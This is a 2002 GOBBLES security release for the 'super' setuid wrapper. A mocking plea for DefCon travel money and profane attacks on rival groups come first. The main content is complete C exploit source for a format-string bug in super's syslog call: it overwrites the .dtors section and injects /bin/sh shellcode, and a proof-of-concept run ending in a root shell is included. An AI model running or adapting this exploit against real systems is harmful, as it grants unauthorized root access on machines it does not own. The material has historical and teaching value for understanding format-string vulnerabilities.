The SUPER Bug

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/*

• SAVE DEFCON…HELP GOBBLES…SAVE DEFCON…HELP GOBBLES
• When GOBBLES say he and he security team
• are non-profit. He really mean NON-profit.
• This means GOBBLES and he GOBBLES Security
• Labs (GSL) friends do not have much funds.
• GOBBLES was hoping to receive the money
• for speaking at the defcon gathering of
• security enthusiasts up front. So he could buy
• and pay for he ticket to Las Vegas from the great city
• of Baltimore where he currently resides.
• GOBBLES is not selling out. GOBBLES is just admitting that he
• need your help. Please, help GOBBLES!
• After many e-mails to defcon organisers it became
• apparent to GOBBLES this was not going to happen.
• This mean GOBBLES has no way of getting to defcon.
• This also mean GOBBLES cannot deliver he talk that
• are named "Wolves among us". Alot of time and work
• went into the preperation of this talk and it was
• to be the grand finale of the year of the turkey
• (2002). With many new 0-day to give out and many
• great anouncements to be made.
• Thanks to Jeff Moss ([email protected], [email protected])
• you, the defcon attendee, may very well get cheated out
• of attending one of the most provocative and daring
• events defcon history has ever seen.

•  !!! ITS NOT TOO LATE..BUT HURRY !!!
  

• Help GOBBLES go to defcon. GOBBLES give so much to
• the community…is it not time the community now help
• a poverty stricken turkey to spread his wings and fly
• towards fame and glory?
• Reasons why you should help GOBBLES get to defcon:
• – Paying for GOBBLES plane ticket to Vegas is better than spending $300 on
  a stripper
• – Seeing GOBBLES present naked: Priceless.
• – Zeroday (possible hardcover) GOBBLES comic
• – A chance to buy GOBBLES art
• – A chance to receive free GOBBLES T-shirts
• – Copies of those exploits you couldn't code
• What does GOBBLES need?
• Basically GOBBLES need to round up 300 US dollars before saturday.
• "Wolves among us" is sheduled for the last day of defcon.
• Namely 3PM on Sunday August 4th. As you can very well imagine
• this talk was going to blow the lid off of more dirty secrets
• than there are noodles in China. With your help GOBBLES can still
• make this happen. So what GOBBLES is asking for is a little helping
• hand from the community. If anyone has the funds to sponsor GOBBLES
• to come to defcon please contact GOBBBLES at [email protected].

• !!! TURKEY SUPPORTERS...DO NOT LET THE TURKEY BE SILENCED !!!
  

• GOBBLES accepts Western Union payments. GOBBLES will not accept anything
• beyond the amount needed for travel to Vegas and back. GOBBLES is not
• selling out, GOBBLES is asking help from those penetrators and researchers
• that GOBBLES helps every day.
• In other news, ISS rejected GOBBLES request for a job application. It
• seems that they're afraid of getting scalp'd.

•                       Political statement:
  

• HALT THE SNOSOFT ABUSE OF 14 YEAR OLDS. MAKING CHILDREN SLAVE OVER 3 LINE
• PERL EXPLOITS FOR LESS THAN MINIMUM WAGE IS NOT VERY ETHICAL !!!
• FREE DVDMAN FREE DVDMAN FREE DVDMAN FREE DVDMAN FREE DVDMAN FREE DVDMAN
• JAIL W00W00 JAIL W00W00 JAIL W000W0 JAIL W00W00 JAIL W00W00 JAIL W00W00
• FUCK ADM FUCK ADM FUCK ADM FUCK ADM FUCK ADM FUCK ADM FUCK ADM FUCK ADM
  */

/*

• GOBBLES-own-super.c
• – root exploit for root hole in root wrapper
• Super is sudo wannabe that boasts much security.
• GOBBLES think people who write setuid wrappers
• should learn to program securely before opening
• big hoohoo about how secure program is.
• Current super version (3.18):
  – ftp://ftp.ucolick.org/pub/users/will/
• Super maintainer say following about he code:
• "Super allows an admin to control access to files
• and functions for users. It is similar to sudo, but
• uses a different approach in the configuration file."
• Problem:
• When super is compiled to use syslog(3) for its logging
• of error messages the following lines makes pre-auth
• local root exploitation rather trivial:
• From error.c
• …
• #define SysLog(pri, buf) syslog((pri), (buf))
• …
• SysLog(error_priority, buf);
• …
• This means users that are not in the super config file
• will be able to execute code with root priviledges.
• "Super acts as a SetUID wrapper around system commands
• to make sure the commands are executed safely, and
• only by authorized users."

•          hehehe ;PPpPPPPp
  

• Love,
• GOBBLES
• [email protected]
• Official site: http://www.bugtraq.org
• Official mirror: http://www.immunitysec.com/GOBBLES/
  */

/* Proof Of Concept:

$ gcc GOBBLES-own-super.c -o GOBBLES-own-super
$ ./GOBBLES-own-super

Usage:
./GOBBLES-own-super -t <.dtors address> [ -o <offset> -A <allignment> ]

$ objdump -s -j .dtors /usr/local/bin/super

/usr/local/bin/super: file format elf32-i386

Contents of section .dtors:
8063f7c ffffffff 00000000 …

$ ./GOBBLES-own-super -t 0x8063f7c
. target @ 0x8063f80
. shellcode @ 0xbfffffb0
. username: 9 bytes
super: No such super command as `xx??%.49103x%29$hn%.16305x%30$hn'.
sh-2.05#

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <pwd.h>
#include <sys/types.h>

#define ALLIGN 2
#define DPA 29

#define SUPER "/usr/local/bin/super"

void buildstring(unsigned long t, unsigned long w, int dpa, int allign);
void stuff(void);

extern char **environ;
char string[256];

int
main(int argc, char **argv)
{
unsigned long t, w;
int dpa, allign, shift = 0;
char c, *store;

    if(argc == 1) {
            fprintf(stderr, "\nUsage: \n%s -t <.dtors address> [ -o

<offset> -A <allignment> ]\n", argv[0]);
exit(0);
}

    allign = ALLIGN;
    dpa = DPA;

    while((c = getopt(argc, argv, "t:o:A:")) != EOF) {
            switch(c) {
                    case 't':
                            sscanf(optarg, "%p", &store);
                            t = (long)store;
                            t += 4;
                            break;
                    case 'o':
                            dpa = atoi(optarg);
                            break;
                    case 'A':
                            allign = atoi(optarg);
                            break;
                    default:
                            fprintf(stderr, "hehehe ;PPppPPPp\n");
                            exit(0);
            }
    }

    store = NULL;

    if((store = getenv("GOBBLES")) == NULL) {
            stuff();
            if(execve(argv[0], argv, environ)) {
                    fprintf(stderr, ". problem re-executing\n");
                    exit(1);
            }
    }

    w = (long)store;
    // shift is signed so this works both ways
    shift = (strlen(argv[0]) - strlen(SUPER));
    w += shift;

    fprintf(stderr, ". target @ %p\n. shellcode @ %p\n", t, w);

    buildstring(t, w, dpa, allign);

    if(execl(SUPER, "super", string, NULL)) {
            fprintf(stderr, "error executing\n");
            exit(1);
    }

}

void
buildstring(unsigned long t, unsigned long w, int dpa, int allign)
{
unsigned int un, deux, x, b[4], namelen;
char a_buf[4];
struct passwd *pass;

    memset(string, '\0', sizeof(string));
    memset(a_buf, '\0', sizeof(a_buf));

    if((pass = getpwuid(getuid())) == NULL) {
            fprintf(stderr, ". can't find your username\n");
            exit(1);
    }

    namelen = strlen(pass->pw_name);

    fprintf(stderr, ". username: %d bytes\n", namelen);

    for(x = 0; x < allign && x < sizeof(a_buf); x++)
            a_buf[x] = 'x';

    b[0] = (t & 0x000000ff);
    b[1] = (t & 0x0000ff00) >> 8;
    b[2] = (t & 0x00ff0000) >> 16;
    b[3] = (t & 0xff000000) >> 24;

    un = (w >> 16) & 0xffff;
    deux = w & 0xffff;

    if(un < deux) {
            snprintf(string, sizeof(string)-1,
                    "%s"
                    "%c%c%c%c%c%c%c%c"
                    "%%.%hdx" "%%%d$hn"
                    "%%.%hdx" "%%%d$hn",
                    a_buf,
                    b[0] + 2, b[1], b[2], b[3], b[0], b[1], b[2], b[3],
                    un - (8 + allign + 29 + namelen),
                    dpa, deux - un, dpa + 1

            );
    }
    else {
            snprintf(string, sizeof(string)-1,
                    "%s"
                    "%c%c%c%c%c%c%c%c"
                    "%%.%hdx" "%%%d$hn"
                    "%%.%hdx" "%%%d$hn",
                    a_buf,
                    b[0], b[1], b[2], b[3], b[0] + 2, b[1], b[2], b[3],
                    deux - (8 + allign + 29 + namelen),
                    dpa, un-deux, dpa + 1

            );
    }

}

void
stuff(void)
{
char code[] = // the setuid 0 with the execve of the /bin/sh
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
setenv("GOBBLES", code, 1);
}

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